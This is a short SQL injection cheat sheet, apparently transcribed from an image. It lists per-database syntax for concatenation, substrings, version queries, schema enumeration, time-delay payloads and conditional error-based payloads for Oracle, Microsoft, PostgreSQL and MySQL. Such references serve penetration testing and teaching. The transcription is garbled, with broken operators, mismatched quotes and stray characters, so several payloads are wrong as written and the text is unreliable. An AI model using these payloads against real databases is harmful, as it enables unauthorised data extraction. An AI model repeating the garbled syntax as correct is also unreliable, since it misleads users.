SQL Injection

Oracle 'a'l|'b! SUBSTR('pyjam’, 4, 2) SELECT banner FROM v$version
SELECT version FROM v$instance

Microsoft 'a'+'b' SUBSTRING('pyjam’, 4, 2) SELECT @@version

PostgreSQL  'a'[|'b’ SUBSTRING('pyjam', 4,2)  SELECT version()

MySQL 'a''b' SUBSTRING('pyjam', 4,2)  SELECT @@version

CONCAT('a",'b")

table_name

column_name

information_schema.tables

information_schema.columns

Oracle dbms_pipe.receive_message(('a’)
J10)

Microsoft WAITFOR DELAY '0:0:10"

PostgreSQL SELECT pg_sleep(10)

MySQL SELECT SLEEP(10) )

SELECT CASE WHEN 1=1 THEN
TO_CHAR(1/0) ELSE NULL END FROM dual

SELECT CASE WHEN 1=1 THEN 1/0 ELSE
NULL END

1=(SELECT CASE WHEN 1=1 THEN 1/(SELECT
0) ELSE NULL END)

SELECT IF (1=1,(SELECT table_name FROM
information_schema.tables),'a')

Concat columns into one

group_concat()



